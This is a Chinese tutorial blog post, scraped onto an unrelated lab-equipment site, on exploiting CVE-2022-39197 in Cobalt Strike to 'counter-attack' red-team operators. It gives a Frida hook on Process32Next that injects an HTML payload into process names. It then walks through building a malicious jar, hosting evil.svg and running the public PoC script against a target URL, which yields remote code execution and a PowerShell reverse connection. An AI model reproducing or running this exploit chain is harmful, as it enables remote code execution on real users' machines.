Cobalt Strike之反向上线操作

您所在的位置:网站首页 cs上线powershell Cobalt Strike之反向上线操作

Cobalt Strike之反向上线操作

2024-07-13 21:37:46| 来源: 网络整理| 查看: 265

前言

Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。

实现原理

攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例

Kernel32.dll:

CreateFileW

ReadFile

WriteFile

FindFirstFileW

CreateProcessW

GetProcAddress

LoadLibraryW

VirtualAlloc

VirtualProtect

Advapi32.dll:

RegOpenKeyExW

RegQueryValueExW

RegSetValueExW

GetUserNameA

User32.dll:

MessageBoxW

SetWindowTextW

GetWindowTextW

Gdi32.dll:

TextOutW

CreateFontIndirectW

Shell32.dll:

ShellExecuteW

Ws2_32.dll:

send

recv

在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。

例如Kernel32.dll:中的Process32Next

# Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")# 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑Interceptor.attach(pProcess32Next, {onEnter: function(args) {this.pPROCESSENTRY32 = args[1];if(Process.arch == "ia32"){this.exeOffset = 36;}else{this.exeOffset = 44;}this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);},onLeave: function(retval) {if(this.szExeFile.readAnsiString() == "target") {send("[!] Found beacon, injecting payload");this.szExeFile.writeAnsiString(payload);}}})

函数内整体逻辑拆开来分析下

处理函数进入 onEnter

onEnter: function(args) {this.pPROCESSENTRY32 = args[1];if(Process.arch == "ia32"){this.exeOffset = 36;}else{this.exeOffset = 44;}this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);},

在函数进入时,保存 Process32Next函数的参数,并计算 szExeFile的地址。szExeFile是一个指向进程信息结构体的字段,其中包含进程的可执行文件名。

处理函数离开 onLeave

onLeave: function(retval) {if(this.szExeFile.readAnsiString() == "target") {send("[!] Found beacon, injecting payload");this.szExeFile.writeAnsiString(payload);}}

在函数离开时,检查 szExeFile中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload

简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE

反制复现

环境准备:

1.png

注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)

开源POC和EXP:https://github.com/its-arun/CVE-2022-39197

1、编辑恶意文件内容

修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS

1

2、编译文件

使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下

1

3、将生成的恶意jar文件和svg文件放在同一路径下

1

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

1

4、蓝队在serve路径下开启一个web服务

1

5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址

1

6、执行POC脚本

python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg

1

运行后,红队的cs客户端上可以看到此时木马已经成功上线

1

当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar

成功上线蓝队CS,从而达到反制RCE

思考

除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE。

最后

此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭